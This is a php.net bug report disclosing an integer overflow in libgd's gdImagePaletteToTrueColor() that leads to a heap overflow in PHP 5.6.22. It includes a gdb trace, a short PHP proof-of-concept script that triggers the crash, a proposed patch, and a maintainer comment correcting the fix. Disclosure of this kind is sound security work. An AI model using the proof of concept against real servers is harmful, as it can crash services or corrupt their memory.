|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2016-06-18 15:55 UTC] gogil at stealien dot com
Description:
------------
The gdImagePaletteToTrueColor() is prone to an integer overflow, which result in heap based overflow.
Tested on 32-bits.
/php$ gdb --args php-5.6.22/sapi/cli/php poc.php
Reading symbols from php-5.6.22/sapi/cli/php...done.
(gdb) b libgd/gd.c:3035
Breakpoint 1 at 0x823a806: file /php/php-5.6.22/ext/gd/libgd/gd.c, line 3035.
(gdb) r
Starting program: /php/php-5.6.22/sapi/cli/php poc.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Breakpoint 1, gdImagePaletteToTrueColor (src=0xb4f96d34)
at /php/php-5.6.22/ext/gd/libgd/gd.c:3035
3035 const unsigned int sx = gdImageSX(src);
(gdb) n
3037 src->tpixels = (int **) gdMalloc(sizeof(int *) * sy);
(gdb) p/x sx
$1 = 0x40000000 <---------- 'sx' is 0x40000000.
(gdb) n
...
3047 src->tpixels[y] = (int *) gdMalloc(sx * sizeof(int)); <---------- sizeof(int) is 0x4.
<---------- gdMalloc will allocate memory with size 0. (LP32/LP64 only)
...
3052 dst_row = src->tpixels[y];
(gdb) n
3053 for (x = 0; x < sx; x++) {
...
3058 *(dst_row + x) = gdTrueColorAlpha(src->red[c], src->green[c], src->blue[c], src->alpha[c]);
(gdb) x/x dst_row+x
0xb4f96160: 0x2d9c25e0
(gdb) n
3053 for (x = 0; x < sx; x++) {
(gdb) x/x dst_row+x
0xb4f96160: 0x61616161 <---------- It cause heap overflow
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x0823a974 in gdImagePaletteToTrueColor (src=0xb4f96d34)
at /php/php-5.6.22/ext/gd/libgd/gd.c:3058
3058 *(dst_row + x) = gdTrueColorAlpha(src->red[c], src->green[c], src->blue[c], src->alpha[c]);
* Fix
File libgd/gd.c, line 123:
gdImagePtr gdImageCreate (int sx, int sy)
{
int i;
gdImagePtr im;
if (overflow2(sx, sy)) {
return NULL;
}
if (overflow2(sizeof(unsigned char *), sy)) {
return NULL;
}
+ if (overflow2(sizeof(int), sx)) {
+ return NULL;
+ }
im = (gdImage *) gdCalloc(1, sizeof(gdImage));
Test script:
---------------
<?php
// poc.php
ini_set('memory_limit', -1);
$im = imagecreate(0x40000000, 1);
imagecolorallocatealpha($im, 0x61, 0x61, 0x61, 0x61);
imagepalettetotruecolor($im);
?>
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Mon Oct 27 03:00:02 2025 UTC |
It should be: if (overflow2(sizeof (unsigned char *), sy)) { return NULL; } if (overflow2(sizeof (unsigned char *), sx)) { return NULL; } palette image uses an 2D array of unsigned chars. Gogil, Stas, thanks for all the reviews and fixes :) @Gogil btw, be sure to check in https://github.com/libgd/libgd as it seems you are looking to an old repo with 2.0.34 (bitbucket?) as latest version.